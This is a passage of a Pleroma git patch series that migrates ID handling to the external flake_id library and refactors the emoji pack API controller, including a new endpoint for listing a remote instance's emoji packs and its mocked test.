"lists" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:title, :string) field(:following, {:array, :string}, default: []) field(:ap_id, :string) diff --git a/lib/pleroma/notification.ex b/lib/pleroma/notification.ex index 8012389ac..d94ae5971 100644 --- a/lib/pleroma/notification.ex +++ b/lib/pleroma/notification.ex @@ -22,8 +22,8 @@ defmodule Pleroma.Notification do schema "notifications" do field(:seen, :boolean, default: false) - belongs_to(:user, User, type: Pleroma.FlakeId) - belongs_to(:activity, Activity, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) + belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType) timestamps() end diff --git a/lib/pleroma/password_reset_token.ex b/lib/pleroma/password_reset_token.ex index 4a833f6a5..db398b1fc 100644 --- a/lib/pleroma/password_reset_token.ex +++ b/lib/pleroma/password_reset_token.ex @@ -12,7 +12,7 @@ defmodule Pleroma.PasswordResetToken do alias Pleroma.User schema "password_reset_tokens" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:token, :string) field(:used, :boolean, default: false) diff --git a/lib/pleroma/registration.ex b/lib/pleroma/registration.ex index 21fd1fc3f..8544461db 100644 --- a/lib/pleroma/registration.ex +++ b/lib/pleroma/registration.ex @@ -11,10 +11,10 @@ defmodule Pleroma.Registration do alias Pleroma.Repo alias Pleroma.User - @primary_key {:id, Pleroma.FlakeId, autogenerate: true} + @primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true} schema "registrations" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:provider, :string) field(:uid, :string) field(:info, :map, default: %{}) diff --git a/lib/pleroma/scheduled_activity.ex b/lib/pleroma/scheduled_activity.ex index de0e54699..fea2cf3ff 100644 --- a/lib/pleroma/scheduled_activity.ex +++ b/lib/pleroma/scheduled_activity.ex @@ -17,7 +17,7 @@ defmodule Pleroma.ScheduledActivity do @min_offset :timer.minutes(5) schema "scheduled_activities" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:scheduled_at, :naive_datetime) field(:params, :map) diff --git a/lib/pleroma/thread_mute.ex b/lib/pleroma/thread_mute.ex index 10d31679d..65cbbede3 100644 --- a/lib/pleroma/thread_mute.ex +++ b/lib/pleroma/thread_mute.ex @@ -12,7 +12,7 @@ defmodule Pleroma.ThreadMute do require Ecto.Query schema "thread_mutes" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:context, :string) end @@ -24,7 +24,7 @@ defmodule Pleroma.ThreadMute do end def query(user_id, context) do - user_id = Pleroma.FlakeId.from_string(user_id) + {:ok, user_id} = FlakeId.Ecto.CompatType.dump(user_id) ThreadMute |> Ecto.Query.where(user_id: ^user_id) diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index fb1f24254..b168d50a9 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -34,7 +34,7 @@ defmodule Pleroma.User do @type t :: %__MODULE__{} - @primary_key {:id, Pleroma.FlakeId, autogenerate: true} + @primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true} # credo:disable-for-next-line Credo.Check.Readability.MaxLineLength @email_regex ~r/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/ @@ -591,7 +591,7 @@ defmodule Pleroma.User do restrict_to_local = Pleroma.Config.get([:instance, :limit_to_local_content]) cond do - is_integer(nickname_or_id) or Pleroma.FlakeId.is_flake_id?(nickname_or_id) -> + is_integer(nickname_or_id) or FlakeId.flake_id?(nickname_or_id) -> get_cached_by_id(nickname_or_id) || get_cached_by_nickname(nickname_or_id) restrict_to_local == false -> diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index e1e90d667..2486df944 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -510,7 +510,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do end @spec fetch_latest_activity_id_for_context(String.t(), keyword() | map()) :: - Pleroma.FlakeId.t() | nil + FlakeId.Ecto.CompatType.t() | nil def fetch_latest_activity_id_for_context(context, opts \\ %{}) do context |> fetch_activities_for_context_query(Map.merge(%{"skip_preload" => true}, opts)) diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 6958c7511..633504a4b 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -25,7 +25,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do # This is a hack for twidere. def get_by_id_or_ap_id(id) do activity = - with true <- Pleroma.FlakeId.is_flake_id?(id), + with true <- FlakeId.flake_id?(id), %Activity{} = activity <- Activity.get_by_id_with_object(id) do activity else diff --git a/lib/pleroma/web/oauth/authorization.ex b/lib/pleroma/web/oauth/authorization.ex index d53e20d12..ed42a34f3 100644 --- a/lib/pleroma/web/oauth/authorization.ex +++ b/lib/pleroma/web/oauth/authorization.ex @@ -20,7 +20,7 @@ defmodule Pleroma.Web.OAuth.Authorization do field(:scopes, {:array, :string}, default: []) field(:valid_until, :naive_datetime_usec) field(:used, :boolean, default: false) - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:app, App) timestamps() diff --git a/lib/pleroma/web/oauth/token.ex b/lib/pleroma/web/oauth/token.ex index 40f131b57..8ea373805 100644 --- a/lib/pleroma/web/oauth/token.ex +++ b/lib/pleroma/web/oauth/token.ex @@ -21,7 +21,7 @@ defmodule Pleroma.Web.OAuth.Token do field(:refresh_token, :string) field(:scopes, {:array, :string}, default: []) field(:valid_until, :naive_datetime_usec) - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:app, App) timestamps() diff --git a/lib/pleroma/web/push/subscription.ex b/lib/pleroma/web/push/subscription.ex index da301fbbc..988fabaeb 100644 --- a/lib/pleroma/web/push/subscription.ex +++ b/lib/pleroma/web/push/subscription.ex @@ -15,7 +15,7 @@ defmodule Pleroma.Web.Push.Subscription do @type t :: %__MODULE__{} schema "push_subscriptions" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:token, Token) field(:endpoint, :string) field(:key_p256dh, :string) diff --git a/lib/pleroma/web/websub/websub_client_subscription.ex b/lib/pleroma/web/websub/websub_client_subscription.ex index 77703c496..23a04b87d 100644 --- a/lib/pleroma/web/websub/websub_client_subscription.ex +++ b/lib/pleroma/web/websub/websub_client_subscription.ex @@ -13,7 +13,7 @@ defmodule Pleroma.Web.Websub.WebsubClientSubscription do field(:state, :string) field(:subscribers, {:array, :string}, default: []) field(:hub, :string) - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) timestamps() end diff --git a/mix.exs b/mix.exs index 33a27470b..035cfc64b 100644 --- a/mix.exs +++ b/mix.exs @@ -158,6 +158,7 @@ defmodule Pleroma.Mixfile do {:ex_const, "~> 0.2"}, {:plug_static_index_html, "~> 1.0.0"}, {:excoveralls, "~> 0.11.1", only: :test}, + {:flake_id, "~> 0.1.0"}, {:mox, "~> 0.5", only: :test} ] ++ oauth_deps() end diff --git a/mix.lock b/mix.lock index 24b34c09c..81209eb0f 100644 --- a/mix.lock +++ b/mix.lock @@ -1,6 +1,7 @@ %{ "accept": {:hex, :accept, "0.3.5", "b33b127abca7cc948bbe6caa4c263369abf1347cfa9d8e699c6d214660f10cd1", [:rebar3], [], "hexpm"}, "auto_linker": {:git, "https://git.pleroma.social/pleroma/auto_linker.git", "95e8188490e97505c56636c1379ffdf036c1fdde", [ref: "95e8188490e97505c56636c1379ffdf036c1fdde"]}, + "base62": {:hex, :base62, "1.2.1", "4866763e08555a7b3917064e9eef9194c41667276c51b59de2bc42c6ea65f806", [:mix], [{:custom_base, "~> 0.2.1", [hex: :custom_base, repo: "hexpm", optional: false]}], "hexpm"}, "base64url": {:hex, :base64url, "0.0.1", "36a90125f5948e3afd7be97662a1504b934dd5dac78451ca6e9abf85a10286be", [:rebar], [], "hexpm"}, "bbcode": {:hex, :bbcode, "0.1.1", "0023e2c7814119b2e620b7add67182e3f6019f92bfec9a22da7e99821aceba70", [:mix], [{:nimble_parsec, "~> 0.5", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm"}, "benchee": {:hex, :benchee, "1.0.1", "66b211f9bfd84bd97e6d1beaddf8fc2312aaabe192f776e8931cb0c16f53a521", [:mix], [{:deep_merge, "~> 1.0", [hex: :deep_merge, repo: "hexpm", optional: false]}], "hexpm"}, @@ -17,6 +18,7 @@ "credo": {:hex, :credo, "0.9.3", "76fa3e9e497ab282e0cf64b98a624aa11da702854c52c82db1bf24e54ab7c97a", [:mix], [{:bunt, "~> 0.2.0", [hex: :bunt, repo: "hexpm", optional: false]}, {:poison, ">= 0.0.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"}, "crontab": {:hex, :crontab, "1.1.7", "b9219f0bdc8678b94143655a8f229716c5810c0636a4489f98c0956137e53985", [:mix], [{:ecto, "~> 1.0 or ~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm"}, "crypt": {:git, "https://github.com/msantos/crypt", "1f2b58927ab57e72910191a7ebaeff984382a1d3", [ref: "1f2b58927ab57e72910191a7ebaeff984382a1d3"]}, + "custom_base": {:hex, :custom_base, "0.2.1", "4a832a42ea0552299d81652aa0b1f775d462175293e99dfbe4d7dbaab785a706", [:mix], [], "hexpm"}, "db_connection": {:hex, :db_connection, "2.1.1", "a51e8a2ee54ef2ae6ec41a668c85787ed40cb8944928c191280fe34c15b76ae5", [:mix], [{:connection, "~> 1.0.2", [hex: :connection, repo: "hexpm", optional: false]}], "hexpm"}, "decimal": {:hex, :decimal, "1.8.0", "ca462e0d885f09a1c5a342dbd7c1dcf27ea63548c65a65e67334f4b61803822e", [:mix], [], "hexpm"}, "deep_merge": {:hex, :deep_merge, "1.0.0", "b4aa1a0d1acac393bdf38b2291af38cb1d4a52806cf7a4906f718e1feb5ee961", [:mix], [], "hexpm"}, @@ -34,6 +36,7 @@ "ex_rated": {:hex, :ex_rated, "1.3.3", "30ecbdabe91f7eaa9d37fa4e81c85ba420f371babeb9d1910adbcd79ec798d27", [:mix], [{:ex2ms, "~> 1.5", [hex: :ex2ms, repo: "hexpm", optional: false]}], "hexpm"}, "ex_syslogger": {:git, "https://github.com/slashmili/ex_syslogger.git", "f3963399047af17e038897c69e20d552e6899e1d", [tag: "1.4.0"]}, "excoveralls": {:hex, :excoveralls, "0.11.1", "dd677fbdd49114fdbdbf445540ec735808250d56b011077798316505064edb2c", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm"}, + "flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm"}, "floki": {:hex, :floki, "0.23.0", "956ab6dba828c96e732454809fb0bd8d43ce0979b75f34de6322e73d4c917829", [:mix], [{:html_entities, "~> 0.4.0", [hex: :html_entities, repo: "hexpm", optional: false]}], "hexpm"}, "gen_smtp": {:hex, :gen_smtp, "0.14.0", "39846a03522456077c6429b4badfd1d55e5e7d0fdfb65e935b7c5e38549d9202", [:rebar3], [], "hexpm"}, "gen_stage": {:hex, :gen_stage, "0.14.2", "6a2a578a510c5bfca8a45e6b27552f613b41cf584b58210f017088d3d17d0b14", [:mix], [], "hexpm"}, diff --git a/test/flake_id_test.exs b/test/flake_id_test.exs deleted file mode 100644 index 85ed5bbdf..000000000 --- a/test/flake_id_test.exs +++ /dev/null @@ -1,47 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2019 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FlakeIdTest do - use Pleroma.DataCase - import Kernel, except: [to_string: 1] - import Pleroma.FlakeId - - describe "fake flakes (compatibility with older serial integers)" do - test "from_string/1" do - fake_flake = <<0::integer-size(64), 42::integer-size(64)>> - assert from_string("42") == fake_flake - assert from_string(42) == fake_flake - end - - test "zero or -1 is a null flake" do - fake_flake = <<0::integer-size(128)>> - assert from_string("0") == fake_flake - assert from_string("-1") == fake_flake - end - - test "to_string/1" do - fake_flake = <<0::integer-size(64), 42::integer-size(64)>> - assert to_string(fake_flake) == "42" - end - end - - test "ecto type behaviour" do - flake = <<0, 0, 1, 104, 80, 229, 2, 235, 140, 22, 69, 201, 53, 210, 0, 0>> - flake_s = "9eoozpwTul5mjSEDRI" - - assert cast(flake) == {:ok, flake_s} - assert cast(flake_s) == {:ok, flake_s} - - assert load(flake) == {:ok, flake_s} - assert load(flake_s) == {:ok, flake_s} - - assert dump(flake_s) == {:ok, flake} - assert dump(flake) == {:ok, flake} - end - - test "is_flake_id?/1" do - assert is_flake_id?("9eoozpwTul5mjSEDRI") - refute is_flake_id?("http://example.com/activities/3ebbadd1-eb14-4e20-8118-b6f79c0c7b0b") - end -end From 1b2e4a0ae0648c4e2542edecca131b06aa02016c Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Wed, 25 Sep 2019 13:13:35 +0300 Subject: [PATCH 19/33] clears `robot.txt` after tests --- test/tasks/instance_test.exs | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs index 70986374e..a3b0dcb50 100644 --- a/test/tasks/instance_test.exs +++ b/test/tasks/instance_test.exs @@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do setup do File.mkdir_p!(tmp_path()) - on_exit(fn -> File.rm_rf(tmp_path()) end) + + on_exit(fn -> + File.rm_rf(tmp_path()) + static_dir = Pleroma.Config.get([:instance, :static_dir], "instance/static/") + + if File.exists?(static_dir) do + File.rm_rf(Path.join(static_dir, "robots.txt")) + end + end) + :ok end From cdbe7cd37ab8209acc8979ff5a3132b71feda869 Mon Sep 17 00:00:00 2001 From: Ekaterina Vaartis Date: Tue, 24 Sep 2019 09:27:34 +0300 Subject: [PATCH 20/33] When listing emoji packs, be sure to create the directory --- .../controllers/emoji_api_controller.ex | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex index 370bee9c3..be1f187ec 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex @@ -17,7 +17,10 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do a map of "pack directory name" to pack.json contents. """ def list_packs(conn, _params) do - with {:ok, results} <- File.ls(@emoji_dir_path) do + # Create the directory first if it does not exist. This is probably the first request made + # with the API so it should be sufficient + with {:create_dir, :ok} <- {:create_dir, File.mkdir_p(@emoji_dir_path)}, + {:ls, {:ok, results}} <- {:ls, File.ls(@emoji_dir_path)} do pack_infos = results |> Enum.filter(&has_pack_json?/1) @@ -28,6 +31,19 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do |> Enum.into(%{}) json(conn, pack_infos) + else + {:create_dir, {:error, e}} -> + conn + |> put_status(:internal_server_error) + |> json(%{error: "Failed to create the emoji pack directory at #{@emoji_dir_path}: #{e}"}) + + {:ls, {:error, e}} -> + conn + |> put_status(:internal_server_error) + |> json(%{ + error: + "Failed to get the contents of the emoji pack directory at #{@emoji_dir_path}: #{e}" + }) end end From f21dbbc021ff6d1e97695e08b93acc906fc861f6 Mon Sep 17 00:00:00 2001 From: vaartis Date: Tue, 24 Sep 2019 12:11:25 +0000 Subject: [PATCH 21/33] Move emoji_dir_path & cache_seconds_per_file --- .../controllers/emoji_api_controller.ex | 51 ++++++++++--------- 1 file changed, 26 insertions(+), 25 deletions(-) diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex index be1f187ec..e8c4f57a7 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex @@ -3,12 +3,12 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do require Logger - @emoji_dir_path Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - - @cache_seconds_per_file Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file]) + def emoji_dir_path() do + Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + end @doc """ Lists the packs available on the instance as JSON. @@ -19,8 +19,8 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do def list_packs(conn, _params) do # Create the directory first if it does not exist. This is probably the first request made # with the API so it should be sufficient - with {:create_dir, :ok} <- {:create_dir, File.mkdir_p(@emoji_dir_path)}, - {:ls, {:ok, results}} <- {:ls, File.ls(@emoji_dir_path)} do + with {:create_dir, :ok} <- {:create_dir, File.mkdir_p(emoji_dir_path())}, + {:ls, {:ok, results}} <- {:ls, File.ls(emoji_dir_path())} do pack_infos = results |> Enum.filter(&has_pack_json?/1) @@ -35,33 +35,33 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do {:create_dir, {:error, e}} -> conn |> put_status(:internal_server_error) - |> json(%{error: "Failed to create the emoji pack directory at #{@emoji_dir_path}: #{e}"}) + |> json(%{error: "Failed to create the emoji pack directory at #{emoji_dir_path()}: #{e}"}) {:ls, {:error, e}} -> conn |> put_status(:internal_server_error) |> json(%{ error: - "Failed to get the contents of the emoji pack directory at #{@emoji_dir_path}: #{e}" + "Failed to get the contents of the emoji pack directory at #{emoji_dir_path()}: #{e}" }) end end defp has_pack_json?(file) do - dir_path = Path.join(@emoji_dir_path, file) + dir_path = Path.join(emoji_dir_path(), file) # Filter to only use the pack.json packs File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.json")) end defp load_pack(pack_name) do - pack_path = Path.join(@emoji_dir_path, pack_name) + pack_path = Path.join(emoji_dir_path(), pack_name) pack_file = Path.join(pack_path, "pack.json") {pack_name, Jason.decode!(File.read!(pack_file))} end defp validate_pack({name, pack}) do - pack_path = Path.join(@emoji_dir_path, name) + pack_path = Path.join(emoji_dir_path(), name) if can_download?(pack, pack_path) do archive_for_sha = make_archive(name, pack, pack_path) @@ -95,7 +95,8 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do {:ok, {_, zip_result}} = :zip.zip('#{name}.zip', files, [:memory, cwd: to_charlist(pack_dir)]) - cache_ms = :timer.seconds(@cache_seconds_per_file * Enum.count(files)) + cache_seconds_per_file = Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file]) + cache_ms = :timer.seconds(cache_seconds_per_file * Enum.count(files)) Cachex.put!( :emoji_packs_cache, @@ -131,7 +132,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") to download packs that the instance shares. """ def download_shared(conn, %{"name" => name}) do - pack_dir = Path.join(@emoji_dir_path, name) + pack_dir = Path.join(emoji_dir_path(), name) pack_file = Path.join(pack_dir, "pack.json") with {_, true} <- {:exists?, File.exists?(pack_file)}, @@ -211,7 +212,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") %{body: emoji_archive} <- Tesla.get!(uri), {_, true} <- {:checksum, Base.decode16!(sha) == :crypto.hash(:sha256, emoji_archive)} do local_name = data["as"] || name - pack_dir = Path.join(@emoji_dir_path, local_name) + pack_dir = Path.join(emoji_dir_path(), local_name) File.mkdir_p!(pack_dir) files = Enum.map(full_pack["files"], fn {_, path} -> to_charlist(path) end) @@ -249,7 +250,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") Creates an empty pack named `name` which then can be updated via the admin UI. """ def create(conn, %{"name" => name}) do - pack_dir = Path.join(@emoji_dir_path, name) + pack_dir = Path.join(emoji_dir_path(), name) if not File.exists?(pack_dir) do File.mkdir_p!(pack_dir) @@ -273,7 +274,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") Deletes the pack `name` and all it's files. """ def delete(conn, %{"name" => name}) do - pack_dir = Path.join(@emoji_dir_path, name) + pack_dir = Path.join(emoji_dir_path(), name) case File.rm_rf(pack_dir) do {:ok, _} -> @@ -292,7 +293,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") `new_data` is the new metadata for the pack, that will replace the old metadata. """ def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do - pack_file_p = Path.join([@emoji_dir_path, name, "pack.json"]) + pack_file_p = Path.join([emoji_dir_path(), name, "pack.json"]) full_pack = Jason.decode!(File.read!(pack_file_p)) @@ -376,7 +377,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") conn, %{"pack_name" => pack_name, "action" => "add", "shortcode" => shortcode} = params ) do - pack_dir = Path.join(@emoji_dir_path, pack_name) + pack_dir = Path.join(emoji_dir_path(), pack_name) pack_file_p = Path.join(pack_dir, "pack.json") full_pack = Jason.decode!(File.read!(pack_file_p)) @@ -424,7 +425,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") "action" => "remove", "shortcode" => shortcode }) do - pack_dir = Path.join(@emoji_dir_path, pack_name) + pack_dir = Path.join(emoji_dir_path(), pack_name) pack_file_p = Path.join(pack_dir, "pack.json") full_pack = Jason.decode!(File.read!(pack_file_p)) @@ -459,7 +460,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") conn, %{"pack_name" => pack_name, "action" => "update", "shortcode" => shortcode} = params ) do - pack_dir = Path.join(@emoji_dir_path, pack_name) + pack_dir = Path.join(emoji_dir_path(), pack_name) pack_file_p = Path.join(pack_dir, "pack.json") full_pack = Jason.decode!(File.read!(pack_file_p)) @@ -529,11 +530,11 @@ keeping it in cache for #{div(cache_ms, 1000)}s") assumed to be emojis and stored in the new `pack.json` file. """ def import_from_fs(conn, _params) do - with {:ok, results} <- File.ls(@emoji_dir_path) do + with {:ok, results} <- File.ls(emoji_dir_path()) do imported_pack_names = results |> Enum.filter(fn file -> - dir_path = Path.join(@emoji_dir_path, file) + dir_path = Path.join(emoji_dir_path(), file) # Find the directories that do NOT have pack.json File.dir?(dir_path) and not File.exists?(Path.join(dir_path, "pack.json")) end) @@ -549,7 +550,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") end defp write_pack_json_contents(dir) do - dir_path = Path.join(@emoji_dir_path, dir) + dir_path = Path.join(emoji_dir_path(), dir) emoji_txt_path = Path.join(dir_path, "emoji.txt") files_for_pack = files_for_pack(emoji_txt_path, dir_path) From a6e85215e1bd88e5cda71f75d0d748e58e227cca Mon Sep 17 00:00:00 2001 From: vaartis Date: Tue, 24 Sep 2019 12:15:52 +0000 Subject: [PATCH 22/33] Credo fix (remove parens on function definition) --- lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex index e8c4f57a7..b7eede6c9 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex @@ -3,7 +3,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do require Logger - def emoji_dir_path() do + def emoji_dir_path do Path.join( Pleroma.Config.get!([:instance, :static_dir]), "emoji" From ba9d35a9049e0d46900d2dd95afd27c09f327a2c Mon Sep 17 00:00:00 2001 From: Ekaterina Vaartis Date: Tue, 24 Sep 2019 19:18:07 +0300 Subject: [PATCH 23/33] Add an API endpoint for listing remote packs --- .../controllers/emoji_api_controller.ex | 52 ++++++++++++++----- lib/pleroma/web/router.ex | 1 + .../pleroma_api/emoji_api_controller_test.exs | 22 ++++++++ 3 files changed, 61 insertions(+), 14 deletions(-) diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex index b7eede6c9..cf5a086fe 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex @@ -10,6 +10,27 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do ) end + @doc """ + Lists packs from the remote instance. + + Since JS cannot ask remote instances for their packs due to CPS, it has to + be done by the server + """ + def list_from(conn, %{"instance_address" => address}) do + address = String.trim(address) + + if shareable_packs_available(address) do + list_resp = + "#{address}/api/pleroma/emoji/packs" |> Tesla.get!() |> Map.get(:body) |> Jason.decode!() + + json(conn, list_resp) + else + conn + |> put_status(:internal_server_error) + |> json(%{error: "The requested instance does not support sharing emoji packs"}) + end + end + @doc """ Lists the packs available on the instance as JSON. @@ -156,6 +177,21 @@ keeping it in cache for #{div(cache_ms, 1000)}s") end end + defp shareable_packs_available(address) do + "#{address}/.well-known/nodeinfo" + |> Tesla.get!() + |> Map.get(:body) + |> Jason.decode!() + |> List.last() + |> Map.get("href") + # Get the actual nodeinfo address and fetch it + |> Tesla.get!() + |> Map.get(:body) + |> Jason.decode!() + |> get_in(["metadata", "features"]) + |> Enum.member?("shareable_emoji_packs") + end + @doc """ An admin endpoint to request downloading a pack named `pack_name` from the instance `instance_address`. @@ -164,21 +200,9 @@ keeping it in cache for #{div(cache_ms, 1000)}s") from that instance, otherwise it will be downloaded from the fallback source, if there is one. """ def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do - shareable_packs_available = - "#{address}/.well-known/nodeinfo" - |> Tesla.get!() - |> Map.get(:body) - |> Jason.decode!() - |> List.last() - |> Map.get("href") - # Get the actual nodeinfo address and fetch it - |> Tesla.get!() - |> Map.get(:body) - |> Jason.decode!() - |> get_in(["metadata", "features"]) - |> Enum.member?("shareable_emoji_packs") + address = String.trim(address) - if shareable_packs_available do + if shareable_packs_available(address) do full_pack = "#{address}/api/pleroma/emoji/packs/list" |> Tesla.get!() diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index e583093d2..8bc051936 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -222,6 +222,7 @@ defmodule Pleroma.Web.Router do put("/:name", EmojiAPIController, :create) delete("/:name", EmojiAPIController, :delete) post("/download_from", EmojiAPIController, :download_from) + post("/list_from", EmojiAPIController, :list_from) end scope "/packs" do diff --git a/test/web/pleroma_api/emoji_api_controller_test.exs b/test/web/pleroma_api/emoji_api_controller_test.exs index c5a553692..166a0201d 100644 --- a/test/web/pleroma_api/emoji_api_controller_test.exs +++ b/test/web/pleroma_api/emoji_api_controller_test.exs @@ -33,6 +33,28 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do refute pack["pack"]["can-download"] end + test "listing remote packs" do + admin = insert(:user, info: %{is_admin: true}) + conn = build_conn() |> assign(:user, admin) + + resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json([%{href: "https://example.com/nodeinfo/2.1.json"}]) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} -> + json(resp) + end) + + assert conn + |> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"}) + |> json_response(200) == resp + end + test "downloading a shared pack from download_shared" do conn = build_conn() From 118d6dcdf4b2c81b4cbe51fd43977722b3eee164 Mon Sep 17 00:00:00 2001 From: Ekaterina Vaartis Date: Tue, 24 Sep 2019 19:38:05 +0300 Subject: [PATCH 24/33] Fix nodeinfo handling --- .../web/pleroma_api/controllers/emoji_api_controller.ex | 1 + test/web/pleroma_api/emoji_api_controller_test.exs | 6 +++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex index cf5a086fe..545ad80c9 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex @@ -182,6 +182,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s") |> Tesla.get!() |> Map.get(:body) |> Jason.decode!() + |> Map.get("links") |> List.last() |> Map.get("href") # Get the actual nodeinfo address and fetch it diff --git a/test/web/pleroma_api/emoji_api_controller_test.exs b/test/web/pleroma_api/emoji_api_controller_test.exs index 166a0201d..93a507a01 100644 --- a/test/web/pleroma_api/emoji_api_controller_test.exs +++ b/test/web/pleroma_api/emoji_api_controller_test.exs @@ -41,7 +41,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do mock(fn %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json([%{href: "https://example.com/nodeinfo/2.1.json"}]) + json(%{links: 